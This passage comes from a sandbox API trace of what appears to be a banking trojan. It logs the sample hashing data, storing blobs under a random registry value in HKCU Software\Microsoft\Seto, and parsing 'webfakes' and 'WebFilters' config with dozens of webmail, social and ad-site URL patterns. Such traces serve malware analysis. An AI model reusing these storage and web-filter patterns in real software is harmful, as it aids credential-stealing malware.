0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.665] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d1e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.666] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] CryptAcquireContextW (in: phProv=0x25bdfc4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25bdfc4*=0x892840) returned 1 [0115.667] CryptCreateHash (in: hProv=0x892840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25bdfc0 | out: phHash=0x25bdfc0) returned 1 [0115.667] CryptHashData (hHash=0x85b1a0, pbData=0x8d1f08, dwDataLen=0x19ea, dwFlags=0x0) returned 1 [0115.667] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x8d1ef8, pdwDataLen=0x25bdfbc, dwFlags=0x0 | out: pbData=0x8d1ef8, pdwDataLen=0x25bdfbc) returned 1 [0115.667] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0115.667] CryptReleaseContext (hProv=0x892840, dwFlags=0x0) returned 1 [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.667] GetTickCount () returned 0x23d2e [0115.668] GetTickCount () returned 0x23d2e [0115.668] GetTickCount () returned 0x23d2e [0115.668] GetTickCount () returned 0x23d2e [0115.668] GetTickCount () returned 0x23d2e [0115.668] GetTickCount () returned 0x23d2e [0115.668] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x25be17c, lpdwDisposition=0x0 | out: phkResult=0x25be17c*=0x314, lpdwDisposition=0x0) returned 0x0 [0115.668] RegSetValueExW (in: hKey=0x314, lpValueName="Yqlozyzuz", Reserved=0x0, dwType=0x3, lpData=0x8d1ed8*, cbData=0x1a1a | out: lpData=0x8d1ed8*) returned 0x0 [0115.668] RegCloseKey (hKey=0x314) returned 0x0 [0115.668] ReleaseMutex (hMutex=0x1ac) returned 1 [0115.668] CloseHandle (hObject=0x1ac) returned 1 [0115.668] lstrcmpiA (lpString1="end", lpString2="entry") returned -1 [0115.668] lstrcmpiA (lpString1="entry", lpString2="entry") returned 0 [0115.668] lstrcmpiA (lpString1="end", lpString2="!http://*freenode.net*") returned 1 [0115.668] lstrcmpiA (lpString1="entry", lpString2="!http://*freenode.net*") returned 1 [0115.668] lstrcmpiA (lpString1="end", lpString2="!http://*auditude.com*") returned 1 [0115.668] lstrcmpiA (lpString1="entry", lpString2="!http://*auditude.com*") returned 1 [0115.668] lstrcmpiA (lpString1="end", lpString2="!http://*criteo.com*") returned 1 [0115.668] lstrcmpiA (lpString1="entry", lpString2="!http://*criteo.com*") returned 1 [0115.668] lstrcmpiA (lpString1="end", lpString2="!https://www.bing.com/fd/ls/lsp.aspx") returned 1 [0115.668] lstrcmpiA (lpString1="entry", lpString2="!https://www.bing.com/fd/ls/lsp.aspx") returned 1 [0115.668] lstrcmpiA (lpString1="end", lpString2="!http://www.bing.com/fd/ls/lsp.aspx") returned 1 [0115.668] lstrcmpiA (lpString1="entry", lpString2="!http://www.bing.com/fd/ls/lsp.aspx") returned 1 [0115.668] lstrcmpiA (lpString1="end", lpString2="!https://app.webpt.com/ping.php*") returned 1 [0115.669] lstrcmpiA (lpString1="entry", lpString2="!https://app.webpt.com/ping.php*") returned 1 [0115.669] lstrcmpiA (lpString1="end", lpString2="!https://*bam.nr-data.net*") returned 1 [0115.669] lstrcmpiA (lpString1="entry", lpString2="!https://*bam.nr-data.net*") returned 1 [0115.669] lstrcmpiA (lpString1="end", lpString2="!http://www.msn.com") returned 1 [0115.669] lstrcmpiA (lpString1="entry", lpString2="!http://www.msn.com") returned 1 [0115.669] lstrcmpiA (lpString1="end", lpString2="!http://www.broadcastify.com") returned 1 [0115.669] lstrcmpiA (lpString1="entry", lpString2="!http://www.broadcastify.com") returned 1 [0115.669] lstrcmpiA (lpString1="end", lpString2="!https://googleads.g.doubleclick.net/pagead/ads") returned 1 [0115.669] lstrcmpiA (lpString1="entry", lpString2="!https://googleads.g.doubleclick.net/pagead/ads") returned 1 [0115.669] lstrcmpiA (lpString1="end", lpString2="!https://cloud8.curemd.com*") returned 1 [0115.669] lstrcmpiA (lpString1="entry", lpString2="!https://cloud8.curemd.com*") returned 1 [0115.669] lstrcmpiA (lpString1="end", lpString2="!https://word-view.officeapps.live.com*") returned 1 [0115.669] lstrcmpiA (lpString1="entry", lpString2="!https://word-view.officeapps.live.com*") returned 1 [0115.669] lstrcmpiA (lpString1="end", lpString2="!http://t.lkqd.net*") returned 1 [0115.669] lstrcmpiA (lpString1="entry", lpString2="!http://t.lkqd.net*") returned 1 [0115.669] lstrcmpiA (lpString1="end", lpString2="!https://capture.trackjs.com*") returned 1 [0115.669] lstrcmpiA (lpString1="entry", lpString2="!https://capture.trackjs.com*") returned 1 [0115.669] lstrcmpiA (lpString1="end", lpString2="!https://www.airbnb.com*") returned 1 [0115.669] lstrcmpiA (lpString1="entry", lpString2="!https://www.airbnb.com*") returned 1 [0115.669] lstrcmpiA (lpString1="end", lpString2="!http://yeti.synapsys.us*") returned 1 [0115.669] lstrcmpiA (lpString1="entry", lpString2="!http://yeti.synapsys.us*") returned 1 [0115.669] lstrcmpiA (lpString1="end", lpString2="!https://*soundcloud.com*") returned 1 [0115.669] lstrcmpiA (lpString1="entry", lpString2="!https://*soundcloud.com*") returned 1 [0115.669] lstrcmpiA (lpString1="end", lpString2="!https://*tylertech.com*") returned 1 [0115.669] lstrcmpiA (lpString1="entry", lpString2="!https://*tylertech.com*") returned 1 [0115.669] lstrcmpiA (lpString1="end", lpString2="!https://outlook.live.com/owa/service.svc*") returned 1 [0115.669] lstrcmpiA (lpString1="entry", lpString2="!https://outlook.live.com/owa/service.svc*") returned 1 [0115.669] lstrcmpiA (lpString1="end", lpString2="!https://oms.expedia.com*") returned 1 [0115.670] lstrcmpiA (lpString1="entry", lpString2="!https://oms.expedia.com*") returned 1 [0115.670] lstrcmpiA (lpString1="end", lpString2="!https://mg.mail.yahoo.com*") returned 1 [0115.670] lstrcmpiA (lpString1="entry", lpString2="!https://mg.mail.yahoo.com*") returned 1 [0115.670] lstrcmpiA (lpString1="end", lpString2="!https://mail.google.com/mail/*") returned 1 [0115.670] lstrcmpiA (lpString1="entry", lpString2="!https://mail.google.com/mail/*") returned 1 [0115.670] lstrcmpiA (lpString1="end", lpString2="!https://*clicktale.net*") returned 1 [0115.670] lstrcmpiA (lpString1="entry", lpString2="!https://*clicktale.net*") returned 1 [0115.670] lstrcmpiA (lpString1="end", lpString2="!https://geo.query.yahoo.com*") returned 1 [0115.670] lstrcmpiA (lpString1="entry", lpString2="!https://geo.query.yahoo.com*") returned 1 [0115.670] lstrcmpiA (lpString1="end", lpString2="!https://finance.yahoo.com*") returned 1 [0115.670] lstrcmpiA (lpString1="entry", lpString2="!https://finance.yahoo.com*") returned 1 [0115.670] lstrcmpiA (lpString1="end", lpString2="!https://email12.godaddy.com*") returned 1 [0115.670] lstrcmpiA (lpString1="entry", lpString2="!https://email12.godaddy.com*") returned 1 [0115.670] lstrcmpiA (lpString1="end", lpString2="!https://ilweb15.tsheets.com/ajax") returned 1 [0115.670] lstrcmpiA (lpString1="entry", lpString2="!https://ilweb15.tsheets.com/ajax") returned 1 [0115.670] lstrcmpiA (lpString1="end", lpString2="!https://music-xray-service.amazon.com/") returned 1 [0115.670] lstrcmpiA (lpString1="entry", lpString2="!https://music-xray-service.amazon.com/") returned 1 [0115.670] lstrcmpiA (lpString1="end", lpString2="!http://whatyouwont.com/") returned 1 [0115.670] lstrcmpiA (lpString1="entry", lpString2="!http://whatyouwont.com/") returned 1 [0115.670] lstrcmpiA (lpString1="end", lpString2="!http://*optimatic.com*") returned 1 [0115.670] lstrcmpiA (lpString1="entry", lpString2="!http://*optimatic.com*") returned 1 [0115.670] lstrcmpiA (lpString1="end", lpString2="!http://*spotxchange.com*") returned 1 [0115.670] lstrcmpiA (lpString1="entry", lpString2="!http://*spotxchange.com*") returned 1 [0115.670] lstrcmpiA (lpString1="end", lpString2="!https://*spotxchange.com*") returned 1 [0115.670] lstrcmpiA (lpString1="entry", lpString2="!https://*spotxchange.com*") returned 1 [0115.670] lstrcmpiA (lpString1="end", lpString2="!https://*dropbox.com*") returned 1 [0115.670] lstrcmpiA (lpString1="entry", lpString2="!https://*dropbox.com*") returned 1 [0115.671] lstrcmpiA (lpString1="end", lpString2="!http://*dingit.tv*") returned 1 [0115.671] lstrcmpiA (lpString1="entry", lpString2="!http://*dingit.tv*") returned 1 [0115.671] lstrcmpiA (lpString1="end", lpString2="!http://ss2.treadsearch.com*") returned 1 [0115.671] lstrcmpiA (lpString1="entry", lpString2="!http://ss2.treadsearch.com*") returned 1 [0115.671] lstrcmpiA (lpString1="end", lpString2="!https://fls-na.amazon.com/1/bit-reporter/1/OE") returned 1 [0115.671] lstrcmpiA (lpString1="entry", lpString2="!https://fls-na.amazon.com/1/bit-reporter/1/OE") returned 1 [0115.671] lstrcmpiA (lpString1="end", lpString2="!https://t.urs.microsoft.com/urstelemetry.asmx*") returned 1 [0115.671] lstrcmpiA (lpString1="entry", lpString2="!https://t.urs.microsoft.com/urstelemetry.asmx*") returned 1 [0115.671] lstrcmpiA (lpString1="end", lpString2="!https://photos.google.com*") returned 1 [0115.671] lstrcmpiA (lpString1="entry", lpString2="!https://photos.google.com*") returned 1 [0115.671] lstrcmpiA (lpString1="end", lpString2="!https://mail.google.com/cloudsearch*") returned 1 [0115.671] lstrcmpiA (lpString1="entry", lpString2="!https://mail.google.com/cloudsearch*") returned 1 [0115.671] lstrcmpiA (lpString1="end", lpString2="!https://hangouts.google.com/webchat/*") returned 1 [0115.671] lstrcmpiA (lpString1="entry", lpString2="!https://hangouts.google.com/webchat/*") returned 1 [0115.671] lstrcmpiA (lpString1="end", lpString2="!https://*facebook*") returned 1 [0115.671] lstrcmpiA (lpString1="entry", lpString2="!https://*facebook*") returned 1 [0115.671] lstrcmpiA (lpString1="end", lpString2="!https://*youtube*") returned 1 [0115.671] lstrcmpiA (lpString1="entry", lpString2="!https://*youtube*") returned 1 [0115.671] lstrcmpiA (lpString1="end", lpString2="!https://*twitter*") returned 1 [0115.671] lstrcmpiA (lpString1="entry", lpString2="!https://*twitter*") returned 1 [0115.671] lstrcmpiA (lpString1="end", lpString2="!https://*instagram*") returned 1 [0115.671] lstrcmpiA (lpString1="entry", lpString2="!https://*instagram*") returned 1 [0115.671] lstrcmpiA (lpString1="end", lpString2="!https://*flickr.com*") returned 1 [0115.671] lstrcmpiA (lpString1="entry", lpString2="!https://*flickr.com*") returned 1 [0115.671] lstrcmpiA (lpString1="end", lpString2="!https://*linkedin.com*") returned 1 [0115.671] lstrcmpiA (lpString1="entry", lpString2="!https://*linkedin.com*") returned 1 [0115.671] lstrcmpiA (lpString1="end", lpString2="!https://*conviva.com*") returned 1 [0115.671] lstrcmpiA (lpString1="entry", lpString2="!https://*conviva.com*") returned 1 [0115.672] lstrcmpiA (lpString1="end", lpString2="!https://www.google-analytics.com*") returned 1 [0115.672] lstrcmpiA (lpString1="entry", lpString2="!https://www.google-analytics.com*") returned 1 [0115.672] lstrcmpiA (lpString1="end", lpString2="!https://safebrowsing.google.com/*") returned 1 [0115.672] lstrcmpiA (lpString1="entry", lpString2="!https://safebrowsing.google.com/*") returned 1 [0115.672] lstrcmpiA (lpString1="end", lpString2="!https://translate.google.com/*") returned 1 [0115.672] lstrcmpiA (lpString1="entry", lpString2="!https://translate.google.com/*") returned 1 [0115.672] lstrcmpiA (lpString1="end", lpString2="!https://*clients1.google.com*") returned 1 [0115.672] lstrcmpiA (lpString1="entry", lpString2="!https://*clients1.google.com*") returned 1 [0115.672] lstrcmpiA (lpString1="end", lpString2="!https://*clients2.google.com*") returned 1 [0115.672] lstrcmpiA (lpString1="entry", lpString2="!https://*clients2.google.com*") returned 1 [0115.672] lstrcmpiA (lpString1="end", lpString2="!https://*clients4.google.com*") returned 1 [0115.672] lstrcmpiA (lpString1="entry", lpString2="!https://*clients4.google.com*") returned 1 [0115.672] lstrcmpiA (lpString1="end", lpString2="!https://*clients5.google.com*") returned 1 [0115.672] lstrcmpiA (lpString1="entry", lpString2="!https://*clients5.google.com*") returned 1 [0115.672] lstrcmpiA (lpString1="end", lpString2="!https://*clients6.google.com*") returned 1 [0115.672] lstrcmpiA (lpString1="entry", lpString2="!https://*clients6.google.com*") returned 1 [0115.672] lstrcmpiA (lpString1="end", lpString2="!https://ogs.google.com/u/0/_/notifications/count") returned 1 [0115.672] lstrcmpiA (lpString1="entry", lpString2="!https://ogs.google.com/u/0/_/notifications/count") returned 1 [0115.672] lstrcmpiA (lpString1="end", lpString2="!https://*googleapis.com*") returned 1 [0115.672] lstrcmpiA (lpString1="entry", lpString2="!https://*googleapis.com*") returned 1 [0115.672] lstrcmpiA (lpString1="end", lpString2="!https://*talkgadget.google.com*") returned 1 [0115.672] lstrcmpiA (lpString1="entry", lpString2="!https://*talkgadget.google.com*") returned 1 [0115.672] lstrcmpiA (lpString1="end", lpString2="!https://0.client-channel.google.com*") returned 1 [0115.672] lstrcmpiA (lpString1="entry", lpString2="!https://0.client-channel.google.com*") returned 1 [0115.672] lstrcmpiA (lpString1="end", lpString2="!https://plus.google.com/u/*") returned 1 [0115.672] lstrcmpiA (lpString1="entry", lpString2="!https://plus.google.com/u/*") returned 1 [0115.672] lstrcmpiA (lpString1="end", lpString2="!https://play.google.com/*") returned 1 [0115.673] lstrcmpiA (lpString1="entry", lpString2="!https://play.google.com/*") returned 1 [0115.673] lstrcmpiA (lpString1="end", lpString2="!https://drive.google.com/*") returned 1 [0115.673] lstrcmpiA (lpString1="entry", lpString2="!https://drive.google.com/*") returned 1 [0115.673] lstrcmpiA (lpString1="end", lpString2="!https://docs.google.com/*") returned 1 [0115.673] lstrcmpiA (lpString1="entry", lpString2="!https://docs.google.com/*") returned 1 [0115.673] lstrcmpiA (lpString1="end", lpString2="!https://notifications.google.com/u*") returned 1 [0115.673] lstrcmpiA (lpString1="entry", lpString2="!https://notifications.google.com/u*") returned 1 [0115.673] lstrcmpiA (lpString1="end", lpString2="!https://*client-channel.google.com*") returned 1 [0115.673] lstrcmpiA (lpString1="entry", lpString2="!https://*client-channel.google.com*") returned 1 [0115.673] lstrcmpiA (lpString1="end", lpString2="!https://apis.google.com*") returned 1 [0115.673] lstrcmpiA (lpString1="entry", lpString2="!https://apis.google.com*") returned 1 [0115.673] lstrcmpiA (lpString1="end", lpString2="!https://calendar.google.com*") returned 1 [0115.673] lstrcmpiA (lpString1="entry", lpString2="!https://calendar.google.com*") returned 1 [0115.673] lstrcmpiA (lpString1="end", lpString2="!http://*taboola.com*") returned 1 [0115.673] lstrcmpiA (lpString1="entry", lpString2="!http://*taboola.com*") returned 1 [0115.673] lstrcmpiA (lpString1="end", lpString2="!https://*etsy.com*") returned 1 [0115.673] lstrcmpiA (lpString1="entry", lpString2="!https://*etsy.com*") returned 1 [0115.673] lstrcmpiA (lpString1="end", lpString2="!https://*issuu.com*") returned 1 [0115.673] lstrcmpiA (lpString1="entry", lpString2="!https://*issuu.com*") returned 1 [0115.673] lstrcmpiA (lpString1="end", lpString2="!https://music.amazon.com*") returned 1 [0115.673] lstrcmpiA (lpString1="entry", lpString2="!https://music.amazon.com*") returned 1 [0115.673] lstrcmpiA (lpString1="end", lpString2="!https://comet.yahoo.com/comet") returned 1 [0115.673] lstrcmpiA (lpString1="entry", lpString2="!https://comet.yahoo.com/comet") returned 1 [0115.673] lstrcmpiA (lpString1="end", lpString2="!https://pr.comet.yahoo.com/comet") returned 1 [0115.673] lstrcmpiA (lpString1="entry", lpString2="!https://pr.comet.yahoo.com/comet") returned 1 [0115.673] lstrcmpiA (lpString1="end", lpString2="!https://p54-bookmarks.icloud.com*") returned 1 [0115.673] lstrcmpiA (lpString1="entry", lpString2="!https://p54-bookmarks.icloud.com*") returned 1 [0115.673] lstrcmpiA (lpString1="end", lpString2="!https://www.grendelonline.com*") returned 1 [0115.674] lstrcmpiA (lpString1="entry", lpString2="!https://www.grendelonline.com*") returned 1 [0115.674] lstrcmpiA (lpString1="end", lpString2="!https://www.yelp.com*") returned 1 [0115.674] lstrcmpiA (lpString1="entry", lpString2="!https://www.yelp.com*") returned 1 [0115.674] lstrcmpiA (lpString1="end", lpString2="!http://bulksell.ebay.com*") returned 1 [0115.674] lstrcmpiA (lpString1="entry", lpString2="!http://bulksell.ebay.com*") returned 1 [0115.674] lstrcmpiA (lpString1="end", lpString2="!https://secure.livevol.com*") returned 1 [0115.674] lstrcmpiA (lpString1="entry", lpString2="!https://secure.livevol.com*") returned 1 [0115.674] lstrcmpiA (lpString1="end", lpString2="!https://www.google-analytics.com/collect") returned 1 [0115.674] lstrcmpiA (lpString1="entry", lpString2="!https://www.google-analytics.com/collect") returned 1 [0115.674] lstrcmpiA (lpString1="end", lpString2="!https://fls-na.amazon.com/1/batch/1/OE/") returned 1 [0115.674] lstrcmpiA (lpString1="entry", lpString2="!https://fls-na.amazon.com/1/batch/1/OE/") returned 1 [0115.674] lstrcmpiA (lpString1="end", lpString2="!http://otf.msn.com/c.gif?") returned 1 [0115.674] lstrcmpiA (lpString1="entry", lpString2="!http://otf.msn.com/c.gif?") returned 1 [0115.674] lstrcmpiA (lpString1="end", lpString2="!https://edq.toysrus.com/*") returned 1 [0115.674] lstrcmpiA (lpString1="entry", lpString2="!https://edq.toysrus.com/*") returned 1 [0115.674] lstrcmpiA (lpString1="end", lpString2="!https://azweb16.tsheets.com/ajax*") returned 1 [0115.674] lstrcmpiA (lpString1="entry", lpString2="!https://azweb16.tsheets.com/ajax*") returned 1 [0115.674] lstrcmpiA (lpString1="end", lpString2="!https://beacons.gvt2.com/domainreliability/upload*") returned 1 [0115.674] lstrcmpiA (lpString1="entry", lpString2="!https://beacons.gvt2.com/domainreliability/upload*") returned 1 [0115.674] lstrcmpiA (lpString1="end", lpString2="!https://www.pandora.com*") returned 1 [0115.674] lstrcmpiA (lpString1="entry", lpString2="!https://www.pandora.com*") returned 1 [0115.674] lstrcmpiA (lpString1="end", lpString2="!https://www.google.com*") returned 1 [0115.674] lstrcmpiA (lpString1="entry", lpString2="!https://www.google.com*") returned 1 [0115.674] lstrcmpiA (lpString1="end", lpString2="!https://urs.microsoft.com/urs.asmx*") returned 1 [0115.674] lstrcmpiA (lpString1="entry", lpString2="!https://urs.microsoft.com/urs.asmx*") returned 1 [0115.674] lstrcmpiA (lpString1="end", lpString2="!https://udc.yahoo.com/v2/public*") returned 1 [0115.674] lstrcmpiA (lpString1="entry", lpString2="!https://udc.yahoo.com/v2/public*") returned 1 [0115.675] lstrcmpiA (lpString1="end", lpString2="!https://r.fullstory.com/rec/*") returned 1 [0115.675] lstrcmpiA (lpString1="entry", lpString2="!https://r.fullstory.com/rec/*") returned 1 [0115.675] lstrcmpiA (lpString1="end", lpString2="!https://incoming.telemetry.mozilla.org*") returned 1 [0115.675] lstrcmpiA (lpString1="entry", lpString2="!https://incoming.telemetry.mozilla.org*") returned 1 [0115.675] lstrcmpiA (lpString1="end", lpString2="!http://geo.query.yahoo.com*") returned 1 [0115.675] lstrcmpiA (lpString1="entry", lpString2="!http://geo.query.yahoo.com*") returned 1 [0115.675] lstrcmpiA (lpString1="end", lpString2="!https://msub03.manage.microsoft.com/AdminAPIWebService/adminapi.svc/silverlightXml") returned 1 [0115.675] lstrcmpiA (lpString1="entry", lpString2="!https://msub03.manage.microsoft.com/AdminAPIWebService/adminapi.svc/silverlightXml") returned 1 [0115.675] lstrcmpiA (lpString1="end", lpString2="!https://app.fullslate.com/admin/journal/commit?poll") returned 1 [0115.675] lstrcmpiA (lpString1="entry", lpString2="!https://app.fullslate.com/admin/journal/commit?poll") returned 1 [0115.675] lstrcmpiA (lpString1="end", lpString2="!https://logx.optimizely.com/log/event") returned 1 [0115.675] lstrcmpiA (lpString1="entry", lpString2="!https://logx.optimizely.com/log/event") returned 1 [0115.675] lstrcmpiA (lpString1="end", lpString2="!https://www.expedia.com/api/datacapture/track") returned 1 [0115.675] lstrcmpiA (lpString1="entry", lpString2="!https://www.expedia.com/api/datacapture/track") returned 1 [0115.675] lstrcmpiA (lpString1="end", lpString2="!http://wf.basebanner.com*") returned 1 [0115.675] lstrcmpiA (lpString1="entry", lpString2="!http://wf.basebanner.com*") returned 1 [0115.675] lstrcmpiA (lpString1="end", lpString2="!https://s.acexedge.com*") returned 1 [0115.675] lstrcmpiA (lpString1="entry", lpString2="!https://s.acexedge.com*") returned 1 [0115.675] lstrcmpiA (lpString1="end", lpString2="!https://*scanmarket.com*") returned 1 [0115.675] lstrcmpiA (lpString1="entry", lpString2="!https://*scanmarket.com*") returned 1 [0115.675] lstrcmpiA (lpString1="end", lpString2="!https://*intuit.com*") returned 1 [0115.675] lstrcmpiA (lpString1="entry", lpString2="!https://*intuit.com*") returned 1 [0115.675] lstrcmpiA (lpString1="end", lpString2="!https://*crdui.com*") returned 1 [0115.675] lstrcmpiA (lpString1="entry", lpString2="!https://*crdui.com*") returned 1 [0115.675] lstrcmpiA (lpString1="end", lpString2="!https://www.yahoo.com*") returned 1 [0115.675] lstrcmpiA (lpString1="entry", lpString2="!https://www.yahoo.com*") returned 1 [0115.675] lstrcmpiA (lpString1="end", lpString2="end") returned 0 [0115.676] lstrcmpiA (lpString1="entry", lpString2="entry") returned 0 [0115.676] lstrcmpiA (lpString1="webfakes", lpString2="WebFilters") returned -1 [0115.676] lstrcmpiA (lpString1="entry", lpString2="entry") returned 0 [0115.676] lstrcmpiA (lpString1="webfilters", lpString2="WebFilters") returned 0 [0115.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x863be8, cbMultiByte=22, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0115.684] CryptAcquireContextW (in: phProv=0x25be29c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25be29c*=0x892840) returned 1 [0115.685] CryptCreateHash (in: hProv=0x892840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25be298 | out: phHash=0x25be298) returned 1 [0115.685] CryptHashData (hHash=0x85b320, pbData=0x8d0480, dwDataLen=0x81b, dwFlags=0x0) returned 1 [0115.685] CryptGetHashParam (in: hHash=0x85b320, dwParam=0x2, pbData=0x8d0470, pdwDataLen=0x25be294, dwFlags=0x0 | out: pbData=0x8d0470, pdwDataLen=0x25be294) returned 1 [0115.685] CryptDestroyHash (hHash=0x85b320) returned 1 [0115.685] CryptReleaseContext (hProv=0x892840, dwFlags=0x0) returned 1 [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] GetTickCount () returned 0x23d3e [0115.685] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x25be454, lpdwDisposition=0x0 | out: phkResult=0x25be454*=0x1ac, lpdwDisposition=0x0) returned 0x0 [0115.685] RegSetValueExW (in: hKey=0x1ac, lpValueName="Xayqzo", Reserved=0x0, dwType=0x3, lpData=0x8d0450*, cbData=0x84b | out: lpData=0x8d0450*) returned 0x0 [0115.685] RegCloseKey (hKey=0x1ac) returned 0x0 [0115.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1387dc, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac [0115.688] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", ulOptions=0x0, samDesired=0x1, phkResult=0x25be484 | out: phkResult=0x25be484*=0x314) returned 0x0 [0115.688] RegQueryValueExW (in: hKey=0x314, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x25be750, lpData=0x0, lpcbData=0x25be480*=0x0 | out: lpType=0x25be750*=0x3, lpData=0x0, lpcbData=0x25be480*=0x1a1a) returned 0x0 [0115.688] RegQueryValueExW (in: hKey=0x314, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x25be750, lpData=0x8cf6c8, lpcbData=0x25be480*=0x1a1a | out: lpType=0x25be750*=0x3, lpData=0x8cf6c8*, lpcbData=0x25be480*=0x1a1a) returned 0x0 [0115.688] RegCloseKey (hKey=0x314) returned 0x0 [0115.688] CryptAcquireContextW (in: 